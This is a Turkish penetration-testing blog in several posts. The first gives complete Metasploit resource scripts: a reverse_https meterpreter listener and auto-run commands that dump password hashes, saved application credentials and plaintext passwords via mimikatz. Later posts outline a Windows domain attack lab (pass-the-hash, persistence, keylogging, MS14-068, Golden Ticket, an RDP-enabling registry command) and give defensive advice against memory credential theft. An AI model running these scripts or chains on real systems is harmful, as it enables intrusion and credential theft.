29 Aralık 2014 Pazartesi

Sosyal Mühendislik Sızma Testlerinde Betiklerin ve Loglamanın Kullanılması

Sosyal Mühendislik Sızma Testlerinde Betiklerin ve Loglamanın Kullanılması

Sosyal mühendislik saldırılarındaki temel sorunlardan birisi gönderilen zararlı uygulamanın kurban tarafından ne zaman çalıştırılacağının bilinmemesidir. Bu sebeple konsolun başında beklemek çok pratik değildir. Bu durum, MSF exploit/multi/handler modülünün betiklerle kullanılması sosyal mühendislik saldırılarında önemlidir. Betikler kullanmanın yanı sıra, sızma testlerine ait sonuçları raporlamak ve saldırı sonucunda elde edilen bilgileri listelemek amacıyla loglamanın etkinleştirilmesi de sosyal mühendislik sızma testlerinde önemli bir durumdur.

Bu yazıda sosyal mühendislik amacıyla oluşturulan zararlı yazılımın kurban bilgisayara gönderildiği varsayılarak, MSF multi/handler modülü yapılandırılacak ve saldırı sonuçları incelenecektir. Bu işlemler 3 adımda gerçekleştirilecektir.
i) MSF multi/handler modülünü başlatacak "MultiHandlerinBaslatilmasi.rc" adlı betik ve Meterpreter kabuğu elde edildikten sonra çalışacak olan komutları içeren "SosyalMuhendislik_MeterpreterKomutlari.rc" adlı betik hazırlanacaktır.
ii) MSF multi/handler modülü başlatılacak ve kurbanın çalıştırdığı zararlı uygulamanın meterpreter bağlantısı elde edilecektir.
iii) Kurban tarafından çalıştırılan zararlı uygulamanın sonuçları, MSF komut satırından ve loglardan incelenecektir.

i) Betiklerin Hazırlanması

Öncelikle bir dizinde (/root/Desktop/ gibi) MultiHandlerinBaslatilmasi.rc adlı bir betik oluşturulur ve içerisine aşağıdaki gibi komutlar girilerek, modülün çalışma parametreleri verilir.
spool /root/Desktop/Log.log
set PROMPT %red%L %yel%H %blu%U %whi%T 
set ConsoleLogging true
set LogLevel 5
set SessionLogging true
set TimestampOutput true 
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 172.16.67.120
set LPORT 443
set VERBOSE true
set ExitOnSession false
set SessionCommunicationTimeout 3000
set SessionExpirationTimeout 1209600
set AutoRunScript multi_console_command -rc /root/Desktop/SosyalMuhendislik_MeterpreterKomutlari.rc
exploit -j

Yukarıdaki komutların işlevi özetle aşağıdaki gibidir:
  • Masaüstüne Log.log adlı dosya oluşturulur ve çalışacak olan komutların çıktıları bu dosyaya yazdırılır.
  • Konsolda saldırganın bilgisayarına ait bazı bilgilerin (IP / bilgisayar adı / hesap adı / tarih) girilmesi sağlanır.
  • Loglamalar etkinleştirilir.
  • MSF multi/handler modülü başlatılıt.
  • "ExitOnSession" seçeneği ile bir kere oturum elde edildikten sonra modülün gelen talepleri alamya devam etmesi sağlanır.
  • Oturum için zaman aşımları ayarlanır.
  • En önemli maddelerden biri olarak da, "AutoRunScript" parametresi ile oturum elde edildikten sonra çalıştırılması istenen komutların yazılı olduğu betik belirtilir.


MSF multi/handler modülünün çağıracağı betik (SosyalMuhendislik_MeterpreterKomutlari.rc) içeriği aşağıdaki gibi ayarlanabilir:
sysinfo
getsystem
ifconfig
netstat
ps
run hashdump
run post/windows/manage/smart_migrate
run checkvm
run post/windows/gather/cachedump
run post/windows/gather/dumplinks
run post/windows/gather/credentials/gpp
run post/windows/gather/checkvm
run post/windows/gather/credentials/tortoisesvn
run post/windows/gather/credentials/winscp
load mimikatz
wdigest
Yukarıdaki komutların işlevi özetle aşağıdaki gibidir:

  • Kurbana ait bilgisayarın işletim sistemi, IP adresi, ağ üzerindeki anlık trafiği, o anda çalışan prosesler gibi temel bilgiler elde edilir.
  • Bilgisayardaki yerel hesaplara ait parola özetleri elde edilir.
  • explorer.exe gibi daha stabil bir prosese sıçranır.
  • Bilgisayarın sanal makine veya fiziksel makine olup olmadığı kontrol edilir.
  • Uygulamalardan veya disk üzerinden bazı kritik bilgiler aranır.
  • Bilgisayarın RAM'i üzerinden parolaların açık hali elde edilir.


Bu 2 betik dosyası masa üstüne kaydedilmiştir:


ii) Modülün Başlatılması ve Zararlı Uygulamanın Çalıştırılması

MSF modülünün başlatılması için msfconsole aracının "-r" parametresi kullanılabilir. Böylece "MultiHandlerinBaslatilmasi.rc" adlı betik dosyasındaki yapılandırma ayarlarına göre modül başlatılır.
msfconsole -r /root/Desktop/MultiHandlerinBaslatilmasi.rc


Modül yapılandırıldıktan sonra gönderilen zararlı uygulamanın çalıştırılması beklenir.


Not: Zararlı uygulamanın oluşturulmasıyla ilgili ayrıntılı bilgi için bakınız.

Zararlı yazılım çalıştığında MSF konsolunda "AutoRunScript" parametresinde belirtilen betikteki (SosyalMuhendislik_MeterpreterKomutlari.rc) komutlar çalışmaya başlar:


iii) Logların İncelenmesi

En önemli log dosyası masaüstünde oluşan Log.log adlı dosyadır.


Bu dosyada MSF modülünün başlamasından sonraki konsolda gerçekleşen her işlem kaydı bulunmaktadır:


Devamı:


Bunun yanında oturum logu etkinleştirildiği için, /root/.msf4/logs/sessions dizini altında tarihe ve bilgisayar adına göre oluşan bir dosya içerisinde de sadece oturum ile ilgili loglar bulunmaktadır:

22 Aralık 2014 Pazartesi

MSF Psexec Komutu Çalıştırılırken Alınabilecek Hatalar ve Sebepleri

MSF Psexec Komutu Çalıştırılırken Alınabilecek Hatalar ve Sebepleri

Önceki bir yazıda, MSF psexec modülü kullanılarak, parola/parola özeti ile bir bilgisayarın komut satırına düşülebildiği incelenmişti. Ancak, bazı durumlarda, psexec modülü veya diğer MSF modülleri çalıştırılırken beklendiği gibi çalışmayabilir. Bu durumun bir çok sebebi olabilir. Bu yazıda MSF psexec modülü çalıştırılırken alınabilecek hatalar listelenecek ve bu hataların gerçekleşme sebepleri listelenecektir.

Yazının devamı için bakınız:
http://www.siberportal.org/red-team/windows-operating-system-penetration-tests/having-trouble-in-using-msf-psexec-exploit-module-and-possible-reasons-of-these-error-messages

15 Aralık 2014 Pazartesi

Windows Sızma Testi Eğitim Ortamının Hazırlanması & Windows Sızma Testi Senaryolarının Uygulanması

Windows Sızma Testi Eğitim Ortamının Hazırlanması - Windows Sızma Testi Senaryolarının Uygulanması

Önceki bir yazıda etki alanı sızma testinin temel adımları incelenmişti. Bir başka yazıda da bir senaryo üzerinde etki alanı sızma testi gerçekleştirilmişti. Bu yazıda ise etki alanı sızma testinin nasıl gerçekleştirildiği birbirinden farklı yöntemlerle incelenecektir. Bu amaçla, 4 bilgisayardan oluşan bir eğitim ve senaryo ortamı oluşturulacak, daha sonra da senaryolara ait adımlar sırasıyla gerçekleştirilecektir.

Not: Belirtilen adımlardan bir kısmı aynı işlemi farklı yöntemlerle gerçekleştirmektedir. Bu yazının amaçlarından biri de, farklı yöntemlerin incelenmesidir.

Ortamın Hazırlanması

XP SP0, W7, WS 2008 R2 makineler ve saldırı amacıyla da güncel bir Kali kullanılacaktır.
  • Bütün makineler aynı ağ ortamında birbirine erişebilir halde olmalıdır. 
  • XP ve W7'de ortak bir kullanıcı oluşturulup bu kullanıcı yerel yönetici yapılacaktır. Bu kullanıcının adı Ahmet, parolası ise Aa123456 olarak belirlenebilir.
  • W7 üzerindeki Administrator hesabının parolası Test123 olarak ayarlanır. Bu hesap devre dışı bırakılabilir.
  • W7 üzerinde Cain&Abel, Winscp, Filezilla, Tortoisesvn uygulamaları yüklü olmalıdır. Winscp, Filezilla ve Tortoisesvn üzerinde kayıtlı erişim bilgileri (kullanıcı adı ve parola) bulunmalıdır.
  • WS üzerinde Avast gibi (Services.msc konsoluyla devre dışı bırakılabilecek) bir antivirüs yüklenir.
  • W7 ve WS'da UAC devre dışı bırakılır.
  • W7 ve WS'da RDP kapalı olarak bırakılır.
  • WS'da bir etki alanı (ornek.local) kurulur.
  • WS'da 3 adet etki alanı hesabı oluşturulacaktir. Bu hesapların bilgileri şu şekilde belirlenebilir: Jale/Jj123456, Halit/Hh123456, Zeynep: Zz123456. Ayrıca Administrator parolası Test123 olarak ayarlanır. Zeynep hesabı Domain Admins grubuna eklenir.
  • WS'da bir grup ilkesiyle Halit kullanıcısının parolası ayarlanır. Bu işlem için bakınız
  • WS'da Zeynep hesabının oturumu açık bırakılır.
  • WS'da güvenlik duvarı devre dışı bırakılır.
  • W7 etki alanına dahil edilir. 
  • W7'de güvenlik duvarı devre dışı bırakılır.
  • Jale hesabı W7 bilgisayarda yerel yönetici olarak ayarlanır.
  • W7 üzerinde Jale hesabının oturumu açık bırakılır.
  • Kali üzerinde Veil kurulur.
  • Kali üzerinde Everyone için bir SAMBA paylaşımı açılır. Bu işlem için bakınız.
  • Kali üzerindeki paylaşıma Mimikatz, WCE, putty, MS procdump, MS psexec araçları eklenir. Ayrıca bu paylaşıma oluşturulacak olan zararlı yazılımlar konulacaktır. Meterpreter bağlantısı elde edilen bilgisayara "upload" komutuyla veya Windows bilgisayarından SMB paylaşımına gidilerek bu dosyalar Windows bilgisayarlara alınacaktır.

XP SP0 Senaryoları

İstismar Adımları - Exploitation

  • Fiziksel olarak erişim sağlandığı varsayılan bilgisayardan SAM ve SYSTEM dosyaları elde edilebilir. İlgili yazı için bakınız
  • Ağ üzerindeki bilgisayarlarda bulunan zafiyetler tespit edilebilir. İlgili yazı için bakınız
  • Zafiyet tespit edilen bilgisayar, bir C kodu ile istismar edilip Windows komut satırı elde edilebilir. İlgili yazı için bakınız
  • XP SP0 üzerindeki zafiyet, MSF ms08_067_netapi modülü ile istismar edilip Meterpreter komut satırı elde edilebilir. İlgili yazı için bakınız.

İstismar adımları sonucunda elde edilenler şu şekildedir:
  • Kali bilgisayarından, XP bilgisayarına Windows komut satırı
  • Kali bilgisayarından, XP bilgisayarına Meterpreter komut satırı
  • SAM ve SYSTEM dosyaları

İstismar Sonrası Adımlar - Post Exploitation

Bu başlıkta, XP bilgisayarı elde edildikten sonra gerçekleştirilebilecek olan adımlar incelenecektir.
  • Meterpreter bağlantısı ele geçirilmiş olan Windows bilgisayarda yerel hesapların parola özetleri elde edilebilir. İlgili yazı için bakınız
  • XP bilgisayarında elde edilen SAM ve SYSTEM dosyaları Kali üzerindeki Ophcrack aracına verilip, yerel hesapların parola özetleri elde edilebilir. İlgili adım için bakınız

İstismar sonrası adımlar sonucunda elde edilenler şu şekildedir:
  • Ahmet hesabının parola özeti

W7 Senaryoları

XP bilgisayarından elde edilen bilgiler kullanılarak, etki alanındaki W7 bilgisayarındaki adımlar gerçekleştirilecektir.

İstismar Adımları - Exploitation

  • Fiziksel olarak erişim bulunulan bir bilgisayarda Windows komut satırı SYSTEM haklarıyla elde edilebilir. İlgili yazı için bakınız
  • XP üzerinden elde edilen Ahmet hesabının parola özeti ile aynı erişim bilgilerini kullanan diğer bilgisayarlar MSF smb_login modülü ile tespit edilebilir. İlgili yazı için bakınız
  • MSF smb_login modülü ile erişim sağlanabilecek bilgisayarlarda, MSF psexec modülü ile Meterpreter komut satırı elde edilebilir. İlgili yazı için bakınız
  • Putty aracı MsfPayload ve MsfEncode ile kullanılarak, zararlı bir yazılım oluşturulabilir. İlgili yazı için bakınız. Oluşan zararlı yazılım Kali üzerindeki paylaşıma konulup, Ahmet hesabının parola özeti kullanılarak pth-winexe aracı ile Meterpreter komut satırı elde edilebilir. İlgili yazı için bakınız

İstismar adımları sonucunda elde edilenler şu şekildedir:
  • Kali bilgisayarından, W7 bilgisayarına Windows komut satırı
  • Kali bilgisayarından, W7 bilgisayarına Meterpreter komut satırı

İstismar Sonrası Adımlar - Post Exploitation

Bu başlıkta, W7 bilgisayarı ele geçirildikten sonra gerçekleştirilebilecek olan adımlar incelenecektir.
  • Meterpreter bağlantısı ele geçirilmiş olan W7 bilgisayarında kayıtlı Winscp parolası açık olarak elde edilebilir. İlgili yazı için bakınız (6. adım).
  • Meterpreter bağlantısı ele geçirilmiş olan W7 bilgisayarında kayıtlı Filezilla parolası açık olarak elde edilebilir. İlgili yazı için bakınız
  • Meterpreter bağlantısı ele geçirilmiş olan W7 bilgisayarında kayıtlı Tortoisesvn parolası açık olarak elde edilebilir. İlgili yazı için bakınız.
  • Windows komut satırı elde edilmiş W7 bilgisayarında uzak masaüstü bağlantısı açılabilir. Bu amaçla, kullanılabilecek komut şu şekildedir: reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
  • Windows komut satırı elde edilmiş W7 bilgisayarında işletim sistemi ve etki alanı hakkında bilgi edinilebilir. İlgili yazı içib bakınız.
  • Meterpreter bağlantısı ele geçirilmiş olan W7 bilgisayarında getgui betiğiyle uzak masaüstü bağlantısı açılabilir. İlgili yazı için bakınız
  • Meterpreter bağlantısı ele geçirilmiş olan W7 bilgisayarında MSF hashdump betiği, MSF hashdump post modülü ve meterpreter migrate komutu ile yerel yönetici parola özetleri elde edilebilir. İlgili yazı için bakınız
  • Windows komut satırı elde edilmiş W7 bilgisayarında SAM ve SYSTEM dosyaları elde edilebilir. İlgili yazı için bakınız
  • XP veya W7 bilgisayarında elde edilen SAM ve SYSTEM dosyaları, W7 bilgisayarı üzerindeki Cain&Abel aracına verilip, yerel hesapların parola özetleri elde edilebilir. İlgili yazı için bakınız. Cain&Abel aracının "Import Hashes from local system" seçeneği ile yerel hesapların parola özetleri direk olarak da elde edilebilir.
  • Meterpreter oturumu ele geçirilmiş olan W7 bilgisayarında MSF gpp post modülü kullanılarak Halit hesabının parolası açık olarak elde edilebilir. İlgili yazı için bakınız
  • Meterpreter bağlantısı ele geçirilmiş olan W7 bilgisayarında Mimikatz eklentisiyle RAM üzerindeki Jale hesabının kimlik bilgileri açık olarak elde edilebilir. İlgili yazı için bakınız
  • Windows komut satırı elde edilmiş W7 bilgisayarında (W7 bilgisayarın disk sistemindeki veya Kali paylaşımındaki) WCE veya Mimikatz araçları ile RAM üzerindeki Jale hesabının kimlik bilgileri açık olarak elde edilebilir. İlgili yazı için bakınız
  • Meterpreter bağlantısı ele geçirilmiş olan W7 bilgisayarında Meterpreter Persistence aracı kullanılarak erişimin sürekliliği sağlanabilir. İlgili yazı için bakınız
  • Meterpreter bağlantısı ele geçirilmiş olan W7 bilgisayarında Meterpreter keyscan komutları kullanılarak W7 bilgisayarında klavye hareketleri tespit edilebilir. İlgili yazı için bakınız
  • Meterpreter bağlantısı ele geçirilmiş olan W7 bilgisayarında Meterpreter incognito eklentisi kullanılarak Jale hesabının jetonu elde edilebilir. İlgili yazı için bakınız
  • W7 üzerinden elde edilen Administrator hesabının parola özeti ile aynı erişim bilgilerini kullanan bilgisayarlarda oturum açan hesaplar MSF smb_enumusers_domain modülü ile elde edilebilir. İlgili yazı için bakınız
  • W7 üzerinden elde edilen Administrator hesabının parola özeti ile aynı erişim bilgilerini kullanan bilgisayarlarda oturum açan belli hesaplar ("Domain Admins" grubu hesapları gibi) KACAK aracı ile elde edilebilir. İlgili yazı için bakınız
  • W7 üzerinden elde edilen Jale hesabının parolası ve SID bilgisi ile MS14-068 zafiyeti istismar edilip, Domain Admin yetkisine sahip olunabilir. İlgili yazı için bakınız


İstismar sonrası adımlar sonucunda elde edilenler şu şekildedir:
  • Winscp üzerinde kayıtlı hesabın kimlik bilgileri
  • Filezilla üzerinde kayıtlı hesabın kimlik bilgileri
  • Tortoisesvn üzerinde kayıtlı hesabın kimlik bilgileri
  • W7 bilgisayara uzak masaüstü bağlantısı
  • Administrator hesabının parola özeti
  • SAM ve SYSTEM dosyaları
  • Halit hesabının parolasının açık hali
  • Jale hesabının parolasının açık hali
  • W7 bilgisayarına sürekli bağlantı
  • W7 bilgisayarındaki klavye hareketleri
  • Jale hesabının yetkileri
  • WS üzerinde oturum açan hesabın adı (Zeynep)
  • Domain Admin yetkileri

WS Senaryoları

W7 bilgisayarından elde edilen bilgiler kullanılarak, etki alanındaki WS bilgisayarındaki adımlar gerçekleştirilecektir.

İstismar Adımları - Exploitation

  • W7 bilgisayarında RDP ile erişim sağlanmış iken; Administrator hesabının parola özeti kullanılarak WCE, MS Net ve MS PsExec araçları ile RAM üzerindeki bilgiler değiştirilip, Windows komut satırı elde edilebilir. İlgili yazı için bakınız
  • Veil aracı kullanılarak, zararlı bir yazılım oluşturulabilir. İlgili yazı için bakınız. Oluşan zararlı yazılım Kali üzerinde paylaşıma konulup, Administrator hesabının parola özeti kullanılarak MSF psexec_command modülü ile Meterpreter komut satırı elde edilebilir. İlgili yazı için bakınız

İstismar adımları sonucunda elde edilenler şu şekildedir:
  • W7 bilgisayarından, WS bilgisayarına Windows komut satırı
  • Kali bilgisayarından, WS bilgisayarına Meterpreter komut satırı

İstismar Sonrası Adımlar - Post Exploitation

Bu başlıkta, WS bilgisayarı ele geçirildikten sonra gerçekleştirilebilecek olan adımlar incelenecektir.
  • WCE ve MS Net araçları ile RAM üzerindeki bilgileri değiştirilen W7 bilgisayarında iken, WS Registry Editor konsoluna bağlanılarak uzak masaüstü bağlantısı açılabilir. İlgili yazı için bakınız (4. adım). 
  • WCE ve MS Net araçları ile RAM üzerindeki bilgileri değiştirilen W7 bilgisayarından, WS Services konsoluna bağlanılarak arzu edilen servis (antivirüs servisi) devre dışı bırakılabilir. İlgili yazı için bakınız (5. adım). 
  • Windows komut satırı elde edilmiş WS bilgisayarında (WS/W7 bilgisayarın disk sistemindeki veya Kali paylaşımındaki) Procdump ve Mimikatz araçları ile RAM üzerindeki Zeynep hesabının kimlik bilgileri açık olarak elde edilebilir. İlgili yazı için bakınız
  • Meterpreter oturumu ele geçirilmiş olan WS bilgisayarında MSF smart_hashdump post modülü kullanılarak yerel hesapların parola özetleri elde edilebilir. İlgili yazı için bakınız
  • WS üzerinden elde edilen Krbtgt hesabının parola özeti (ve etki alanı SID değeri) ile Golden Ticket oluşturulabilir. İlgili yazı için bakınız
  • Windows komut satırı veya masa üstü bağlantısı ele geçirilmiş olan WS bilgisayarında Volume Shadow dosyaları kullanılarak yerel hesapların parola özetleri elde edilebilir. İlgili yazı için bakınız.

İstismar sonrası adımlar sonucunda elde edilenler şu şekildedir:
  • WS bilgisayara uzak masaüstü bağlantısı
  • WS bilgisayarındaki antivirüsün devre dışı bırakılması
  • Zeynep hesabının parolasının açık hali
  • KRBTGT hesabının parola özeti
  • Etki alanına ait Golden Ticket
  • NTDS.dit ve SYSTEM dosyaları

Ek Adımlar

  • Ruby ile hazırlanmış, ancak MSF üzerinde bulunmayan istismar kodu kullanılarak istismar işlemi gerçekleştirilebilir. İlgili yazı için bakınız
  • Evilgrade ve Ettercap aracı ile Windows güncellemesi istismar edilebilir. İlgili yazı için bakınız
  • Etki alanı denetleyicisi (DC) üzerinde iken, yönetimsel paylaşımı veya uzak masaüstü bağlantısı kapalı olan etki alanındaki bir bilgisayarın yönetimsel paylaşımı veya uzak masaüstü bağlantısı açılabilir. İlgili yazı için bakınız

Bu yazıda belirtilenlerin haricindeki adımlar da sırası geldiğince eklenmeye çalışılacaktır.

Bu yazıda, etki alanına yapılabilecek saldırılar - eğitim ve bilgilendirme amacıyla - ele alınmıştır. Bu saldırılara yönelik alınması gereken temel önlemler için bağlantıdaki yazı incelenebilir.


3 Aralık 2014 Çarşamba

Bellekten Parolaların Elde Edilmesinin Engellenmesi İçin Tavsiyeler

Bellekten Parolaların Elde Edilmesinin Engellenmesi İçin Tavsiyeler


Bellekten parolanın açık olarak elde edilmesi ile ilgili önceki yazıda parolanın nasıl elde edildiği konusuna değinilmiş ve aşağıdaki gibi özetlenmişti:
Oturum açmak için yazdığımız kullanıcı adı ve parola gibi bilgiler, belleğe (RAM) yüklenen ve kimlik doğrulama işleminde görev alan bazı kütüphane dosyalarında şifreli olarak saklanmakta ve bu bilgiler kimlik doğrulama işlemleri sırasında kullanılmaktadır. Bunun yanında Mimikatz / WCE gibi bazı araçlar RAM üzerinde tutulan şifreli parolayı ve  şifreleme anahtarını elde ederek, şifreli parolayı deşifre etmekte, böylece parolanın açık olarak elde edilmesini sağlamaktadır.

Bu yazıda ise, kurumsal bir etki alanı (domain) ortamında, sızılan bir bilgisayardaki RAM üzerinden kullanıcı parolalarının açık olarak elde edilmesini zorlaştırmak ve önlemek için atılması tavsiye edilen adımlardan bahsedilecektir. Bu tavsiyeler 6 ana başlık altında toplanacak olup, yazının sonunda ise tavsiyeler özetlenecektir. Aşağıdaki başlıklardaki durumlar anlatılırken, SIRKET adlı bir etki alanına sahip bir kurumda PC1 adlı bir bilgisayarın ele geçirildiği varsayılıp, belli senaryolar üzerinden gidilecektir. Bu senaryolardaki bazı nesneler aşağıdaki gibidir.

  • SIRKET: Kurumdaki etki alanının (Domain) adı
  • SRV1: Etki alanı denetleyicisi (Domain Controller)
  • EaYoneticisi1: Etki alanındaki bir kullanıcı (Domain User)
  • PC1: Saldırgan tarafından ele geçirilen etki alanı bilgisayarı (Domain Computer)
  • Kurban ve YerelKullanici: PC1 bilgisayarındaki yerel kullanıcılar (Local User)


Başlıklar ve alt başlıklar altındaki her bir senaryo uygulanırken bilgisayar yeniden başlatılmıştır. Bu sebeple, her senaryo birbirinden bağımsız olarak düşünülmelidir.

Bunun yanında senaryolara ait ekran görüntülerinde bazı kontrol araçları kullanılmıştır. Bu araçlar ve araçların kullanılmasındaki amaçlar şu şekildedir:

  • Mimikatz: PC1 bilgisayarından hangi kullanıcılara ait parolaların açık olarak elde edilip edilemediği kontrol edilir.
  • Görev Yöneticisi - Kullanıcılar Sekmesi (Task Manager - Users) ve Qwinsta: PC1 bilgisayarındaki oturumları ve oturum durumlarını listelemek için kullanılmıştır.
  • Netstat: PC1 bilgisayarına SRV1 bilgisayarından olan bağlantıları listelemek için kullanılmıştır.
  • Tasklist: PC1 bilgisayarında EAYoneticisi1 adlı kullanıcı tarafından oluşturulan prosesleri listelemek için kullanılmıştır.
Bu ön bilgilerden sonra başlıklar, alt başlıklar ve senaryolar incelenebilir.

A) Oturum Sonlandırma İşlemleri

Bir makinede oturum açma işlemi temel olarak konsol üzerinden etkileşimli oturumla veya uzak masaüstü oturumuyla gerçekleştirilebilir. Bu oturumlardan çıkış yapılırken kullanıcı değiştirme (switch user), uzak bağlantıyı kesme (disconnect), oturumu kapatma (log off) veya bilgisayarı yeniden başlatma / kapatma (restart / shutdown) gibi yollar izlenebilir.

1) Kullanıcı Değiştirme (Switch User)

PC1 üzerinde Sirket\EaYoneticisi1 adlı kullanıcı oturumunu açıp işlemlerini tamamladıktan sonra kullanıcı değiştirme seçeneği kullanılarak oturumundan çıkış yapmıştır. Daha sonra PC1\Kurban adlı kullanıcı ile oturum açılmıştır. Bu durumda her iki kullanıcının parolasının elde edilebildiği görülmektedir.

Şekil - 1: Kullanıcı Değiştirme Yöntemi ile Oturum Sonlandırma

Yorum: Oturum sonlandırmak için oturumu değiştir seçeneği kullanılmamalıdır.

2) Oturum Bağlantısının Düşmesi (Disconect Your Session Immediately)

PC1\YerelKullanıcı adlı kullanıcı ile oturum açık durumda iken, Sirket\EaYoneticisi1 adlı kullanıcı uzak masaüstü erişimi gerçekleştirmiştir. Varsayılan olarak bir istemcide bir konsol açık olabildiği için, PC1\YerelKullanici adlı kullanıcının oturumu düşmüştür. Bu durumda her iki kullanıcının parolasının elde edilebildiği görülmektedir.


Şekil - 2: Oturum Düşürme Yöntemi ile Oturum Sonlandırma

Yorum: Oturum düştüğünde parolalar elde edilebilmektedir.

3) Uzak Masaüstü Bağlantısını Kesme (Disconnect)

Bir önceki senaryo ile aynı adımlar izlendikten sonra Sirket\EaYoneticisi1 adlı kullanıcı uzak masaüstü oturumunu sonlandırmak için bağlantıyı kes (Disconnect) seçeneğini kullanmaktadır.

Şekil - 3: Oturumu Sonlandırma İşlemi

Daha sonra PC1\YerelKullanici adlı kullanıcı ile tekrar oturum açılmaktadır (Bu işlem yerine Sirket\EaYoneticisi1 adlı kullanıcının oturumu aktifken, PC1\YerelKullanici adlı kullanıcı ile tekrar oturum açarak uzak masaüstü erişimi de kesilebilirdi.). Bu durumda her iki kullanıcının parolasının elde edilebildiği görülmektedir.


Şekil - 4: Oturumu Sonlandırma Yöntemi ile Oturum Sonlandırma

Yorum: Oturum sonlandırmak için bağlantıyı kes seçeneği kullanılmamalıdır.

4) Oturumu Kapatma (Log off)

Sirket\EaYoneticisi1 adlı kullanıcı oturum açtıktan sonra oturumunu kapatmaktadır (log off). Sonrasında PC1\Kurban adlı kullanıcı ile oturum açılmakta ve bu oturum da kapatılmaktadır (log off). Daha sonrasında ise PC1\YerelKullanici adlı üçüncü kullanıcı ile oturum açılmıştır. Bu durumda PC1\Kurban adlı kullanıcının parolası alınamamışken, Sirket\EaYoneticisi1 ve PC1\YerelKullanici adlı kullanıcıların parolalarının elde edilebildiği görülmektedir.

Şekil - 5: Oturumu Kapatma Yöntemi ile Oturum Sonlandırma - 1

Yorum: Oturum sonlandırmak için oturumu kapatma seçeneği kullanılmamalıdır.

Not: Aynı adımlar takip edilip bir kere daha deneme yapıldığında ise Sirket\EAYoneticisi1 adlı kullanıcının da parolası elde edilememiş, sadece PC1\YerelKullanici parolası elde edilebilmiştir.


Şekil - 6: Oturumu Kapatma Yöntemi ile Oturum Sonlandırma - 2

Yorum: Bazı durumlarda oturumu sonlandırmak için oturumu kapat (log off) seçeneği yeterli oluyorken, her zaman için bu durum doğru olmayabilmektedir. Bu sebeple bilgisayarı yeniden başlatmak (restart) veya kapattıktan sonra (shutdown) yeniden açmak parolanın bellek üzerinden elde edilmesini önlemek için en garanti çözüm olmaktadır.

B) Güvenli Parola Kullanma

Bu başlık altında parolaların güçlü olmasının RAM üzerinden parolaların elde edilmesi üzerindeki etkisi üzerinde durulacaktır.

1) Parola Uzunluğu ve Karmaşıklığı

Bu senaryoda PC1\YerelKullanici adlı kullancının parolası (Siber123.Guvenlik?) 18 karakter olarak oluşturulmuş, içerisinde büyük/küçük harf, sayı ve noktalama işaretleri kullanılmıştır. Oldukça karmaşık gibi görünen bu parola bellek üzerinden elde edilebilmiştir.


Şekil - 7: Uzun ve Karmaşık Parola Kullanımı - 1

Yorum: Karmaşık ve uzun parolaların kullanılması birçok saldırı için en kritik adımlardan birisidir. Ancak parolaların bellek üzerinden elde edilmesi için yeterli olmamaktadır.

2) Parolada Daha Özel Karakterlerin Kullanılması

Parola oluşturulurken karmaşıklığı arttırmak için karakter kümesi arttırılabilir. Bu amaçla daha karmaşık karakterler kullanılarak PC1\Kurban adlı kullanıcı için yeni bir parola (SiberæGuvenlik€123) belirlenmiştir. Oldukça karmaşık gibi görünen bu parola bellek üzerinden kısmen elde edilebilmiştir.


Şekil - 8: Uzun ve Karmaşık Parola Kullanımı - 2

Ekran görüntüsünde de görüldüğü gibi, € (euro) karakteri yerine ? (soru işareti)  karakteri gelmektedir. Parolanın tamamı elde edilemediği düşünüldüğünde, saldırganın işinin kısmen zorlaştırılmış olduğu düşünülebilir. Ancak saldırgan, kısmen elde ettiği parolanın kalan karakterlerini tahmin yöntemi kullanılarak (é, è, ê, ë, £, ∑, ... gibi) da tespit edilebilir. Bunun yanında aracın çalıştırıldığı komut satırı yazı formatı değiştirilerek de parola çok kolay bir şekilde edilebilir. Bu işlem için komut satırı özelliklerinden Yazı sekmesine gelerek Lucida Console gibi bir formatın seçilmesi yeterli olacaktır.

Şekil - 9: Komut Satırı Font Değişikliği

Böylece parola özel kullanılan formatlar da dahil olmak üzere tamamen elde edilebilmektedir.


Şekil - 10: Font Değişikliği Sonrası Uzun ve Karmaşık Parola Kullanımı

Not: ALT tuşu ile kombinasyon oluşturan sayı listesi bağlantıdaki gibidir. Bunun yanında, ALT tuşu ile kombinasyon oluşturan sayıların kullanımı bağlantıdaki gibidir.

Yorum: Parola karmaşıklığı, parolanın bellek üzerinden elde edilmesi için yeterli olmamaktadır. Ancak parola güvenliği için aşağıdaki sıkılaştırma işlemlerinin gerçekleştirilmesi tavsiye edilmektedir:

  • Parolalar en az 10 karakter uzunlukta ve karmaşık olarak belirlenmelidir.
  • Parolalar en fazla 2 ayda bir değiştirilmelidir.
  • Oluşturulan parolalar birbirinden farklı, birbiriyle ilişkisiz ve başka yerlerde (forum, kişisel mail gibi) kullanılmayan parolalardan oluşmalıdır.
  • Parola politikalarında LM özetin kullanılması önlenmelidir. “Network security: Do not store LAN Manager hash value on next password change” ilkesi etkin olmalıdır. Bu işlem için Kayıt Defterin'de "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\NoLMHash" değeri 1 de yapılabilir.
  • Parola güvenliği ve güvenilir parola oluşturma ile ilgili Bilgimi Koruyorum sayfası incelenebilir.

Not: Parola oluşturulurken kullanılan sistemlerin oluşturulan parolaları destekleyip desteklemediği test edilmelidir.

C) Kullanılmayan Kütüphanelerin (DLL) Kaldırılması

Bir önceki yazıda da belirtildiği gibi, Windows işletim sistemindeki kimlik doğrulama paketleri LSA (Local Security Authority) tarafından belleğe yüklenir. LSA, hangi DLL dosyalarını yükleyeceğini kayıt defterindeki “HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages” kaydından alır. Bu kayıtta bulunmayan paketler belleğe yüklenmeyecektir. Varsayılan durumda bir PC1 gibi Windows 7 işletim sistemi yüklü bir bilgisayarda Security Packages değerinin altında 6 DLL mevcuttur: kerberos, msv1_0, schannel, wdigest, tspkg, pku2u. Her bir DDL kimlik doğrulamasında bir takım işlemler gerçekleştirmek için görevlidir. Örneğin, tsPkg bilgsayarlar arasında parola sorgusu gerçekleştirmeden erişim için gereklidir. Bu güvenlik paketinin kaldırılması MS12-020 gibi DOS zafiyetine sahip olan bilgisayarlar için tavsiye edilmektedir. Ancak, Hyper V gibi bazı sistemlerde oturum işlemleri için bu DLL yüklenmek belleğe yüklenmek zorundadır. Bir diğer kimlik doğrulama paketi olan wdigest ise, OWA (Outlook Web Access) gibi uygulamalar için LM/NTLM ile ağ üzerinden kimlik doğrulaması için kullanılır. Etki alanındaki en önemli güvenlik paketlerinden birisi olan kerberos ise, belirlenen bir süre sonunda (10 